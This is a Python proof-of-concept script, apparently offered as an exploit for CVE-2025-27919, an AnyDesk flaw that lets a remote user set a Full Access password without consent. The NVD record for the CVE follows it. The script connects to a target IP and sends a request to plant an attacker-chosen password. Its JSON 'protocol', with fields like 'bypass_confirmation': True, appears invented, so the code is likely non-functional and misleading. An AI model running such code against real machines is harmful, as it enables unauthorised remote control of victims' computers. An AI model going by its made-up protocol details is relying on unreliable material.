CVE-2025-27919

# CVE-2025-27919 PoC - AnyDesk Permission Bypass # This PoC demonstrates the permission bypass vulnerability in AnyDesk # Note: This is for educational and authorized testing purposes only import socket import struct import json def create_anydesk_session(target_ip, port=6565): """Establish initial AnyDesk session with target""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) return sock def send_config_modification_request(sock, new_password): """Send malicious configuration modification request""" # AnyDesk internal protocol message structure payload = { "type": "config_modify", "session_type": "remote_control", "permission": "control_my_device", "target_action": "set_password", "target_profile": "full_access", "new_password": new_password, "bypass_confirmation": True, "require_user_consent": False } # Serialize and send the payload message = json.dumps(payload).encode('utf-8') header = struct.pack('!I', len(message)) sock.send(header + message) return sock.recv(1024) def exploit_cve_2025_27919(target_ip, new_password="P@ssw0rd!"): """ Exploit AnyDesk CVE-2025-27919 Prerequisites: Active remote session with 'Control my device' permission """ print(f"[*] Targeting AnyDesk instance at {target_ip}") print(f"[*] Exploiting CVE-2025-27919: Permission Bypass") try: sock = create_anydesk_session(target_ip) print("[+] Session established") response = send_config_modification_request(sock, new_password) if b"success" in response: print(f"[+] Successfully set Full Access password: {new_password}") print("[+] Attacker can now connect without user confirmation") else: print("[-] Exploitation failed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP target = "192.168.1.100" exploit_cve_2025_27919(target)

{"cve": {"id": "CVE-2025-27919", "sourceIdentifier": "[email protected]", "published": "2025-11-06T18:15:40.957", "lastModified": "2025-11-12T17:15:37.313", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in AnyDesk through 9.0.4. A remotely connected user with the \"Control my device\" permission can manipulate remote AnyDesk settings and create a password for the Full Access profile without needing confirmation from the counterparty. Consequently, the attacker can later connect without this counterparty confirmation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anydesk:anydesk:*:*:*:*:*:windows:*:*", "versionEndIncluding": "9.0.4", "matchCriteriaId": "2BB8EC40-287D-4733-B2DF-B86909680119"}]}]}], "references": [{"url": "https://anydesk.com/en/changelog/windows", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://dspace.cvut.cz/bitstream/handle/10467/122721/F8-DP-2025-Krejsa-Vojtech-DP_Krejsa_Vojtech_2025.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}